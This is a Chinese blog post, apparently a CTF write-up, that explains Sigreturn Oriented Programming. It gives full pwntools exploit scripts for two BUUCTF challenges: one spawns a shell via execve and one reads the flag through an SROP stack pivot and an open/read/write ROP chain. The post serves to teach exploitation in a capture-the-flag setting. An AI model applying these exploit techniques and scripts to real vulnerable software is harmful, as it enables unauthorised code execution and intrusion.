zoukankan      html  css  js  c++  java
  • Srop 原理与利用方法

    Srop

    Srop 的全称是Sigreturn Oriented Programming

    Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn

    Signal

    SignalUnix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息

    常见于在一个进程中,内核向其发送发送软中断信号,该进程将暂时被挂起,系统进入内核态

    因为是暂时被挂起,所以系统会保留该进程的上下文  (部分内容摘自ctf-wiki)

    • 将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn

    此时栈上的内存分布:

    Signal Frame

    这一段内存也被称为Signal Frame

    漏洞利用点

    • Signal Frame 被放置在用户进程的内存空间中,也就说Signal Frame是可以读写的

    • 在恢复Signal信号的时候没有检测,也就是说我们可以通过改变Signal Frame中的信息来劫持控制流

    例如:

    rax = 59//对应59号系统调用-> exceve
    rdi = '/bin/sh'
    rsi = 0
    rdx = 0

    这样就能进行一个最简单的Srop

    Srop链

    有时候我们希望执行一系列的操作,此时可以通过syscall ret;这个gadget去串联起我们我们的Srop

    执行完一个SignalFrame接着执行下一个SignalFrame

    ciscn_s_3  --BUUCTF

    去年国赛的某道题

    gadgets 函数:

    vuln 函数 :

    汇编其实也很好读,就是系统调用-read/write

    read(0,buf,0x400) //-syscall 0 read
    
    write(0,buf,0x30) //-syscall 1 write

    syscall(系统调用)是根据rax寄存器里的值,来决定进行多少号的系统调用。

    在x64系统中,15号系统调用对应rt_sigreturn

    此时我们的思路也很简单,就用write去leak出/bin/sh的地址

    让系统进入Signal之后

    我们去劫持Signal Frame就好了

    1 frame=SigreturnFrame()#pwntools集成的srop工具
    2 frame.rax = constants.SYS_execve
    3 frame.rdi = sh_address
    4 frame.rsi = 0
    5 frame.rdx = 0
    6 frame.rip = syscall_ret
    exp:
    from pwn import *
    context.arch = 'amd64'
    context.log_level = 'debug'
    #p = process('./ciscn_s_3')
    p = remote('node3.buuoj.cn',28916)
    set_rax_15 = 0x4004DA
    rw = 0x4004F1
    syscall_ret = 0x400517
    syscall = 0x400501
    ​
    payload = '/bin/shx00' + 'a'*0x8 + p64(rw) 
    ​
    p.send(payload)
    ​
    p.recv(32)
    sh_address = u64(p.recv(8)) - 0x118# leak stack
    ​
    p.recv(8)
    #init srop
    frame = SigreturnFrame()
    frame.rax = 59
    frame.rdi = sh_address
    frame.rsi = 0
    frame.rdx = 0 
    frame.rip = syscall_ret
    #second read
    payload = 'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+str(frame)
    p.send(payload)
    p.interactive()

    V&N公开赛 babybabypwn --BUUCTF

    这题开了沙盒,没法拿shell,是通过srop来写orw读flag,保护全开

    IDA:

      char buf; // [rsp+0h] [rbp-110h]
      unsigned __int64 v2; // [rsp+108h] [rbp-8h]
    ​
      v2 = __readfsqword(0x28u);
      puts("Welcome to v&n challange!");
      printf("Here is my gift: 0x%llx
    ", &puts);
      printf("Please input magic message: ");
      read(0, &buf, 0x100uLL);
      syscall(15LL, &buf);
      return __readfsqword(0x28u) ^ v2;
    • 值得注意的是read是没有溢出的,题目给了syscall(15LL, &buf),就只能srop

    • 还是用到我们pwntools里集成的工具SigreturnFrame()生成signalframe

    • 然后就是写orw了

    exp :

    from pwn import *                                                                                                                                                                                                       
    context(log_level='debug', arch='amd64')
    ​
    p = remote('node3.buuoj.cn', 27151)
    ​
    libc = ELF('./libc-2.23.so')
    ​
    p.recvuntil('gift: ')
    puts_addr = int(p.recv(14), 16) 
    log.info(hex(puts_addr))
    libc_base = puts_addr - libc.sym['puts']
    open_addr = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    write_addr = libc_base + libc.sym['write']
    pop_rdi_ret = libc_base + 0x21102
    pop_rsi_ret = libc_base + 0x202e8
    pop_rdx_ret = libc_base + 0x01b92
    bss = libc_base + libc.bss()
    rop_addr = bss + 0x100
    ​
    frame = SigreturnFrame()
    frame.rdi = 0x0 # syscall 0 -> read
    frame.rsi = rop_addr
    frame.rdx = 0x100
    frame.rip = read_addr
    frame.rsp = rop_addr
    #相当于栈迁移到bss +0x100上进行rop
    p.sendafter('message: ', str(frame)[8:])
    ​
    str_flag_addr = rop_addr + 0x98 #0x98是为了让open读到flag的字符 
    payload = p64(pop_rdi_ret) + p64(str_flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr) # open('flag')
    payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) # read(3,bss,0x40) 3是因为open默认打开stdin->0 stdout->1 stderr->2,接下来打开就是3
    payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) # write(1,bss,0x40)
    payload += 'flagx00'
    p.send(payload)
    p.interactive()
     

     

     

  • 相关阅读:
    c++中的内存管理【转载】
    c++中dynamic_cast、static_cast、reinterpret_cast和const_cast作用
    c++中的顶层const和底层const
    c++赋值操作符需要确保自我赋值的安全性问题
    二分法查找
    Servlet基础总结
    java 正则表达式:有丶东西
    HTTP协议初步认识
    Java synchronized到底锁住的是什么?
    ECMA Script 6新特性之解构赋值
  • 原文地址:https://www.cnblogs.com/z2yh/p/13731277.html
Copyright © 2011-2022 走看看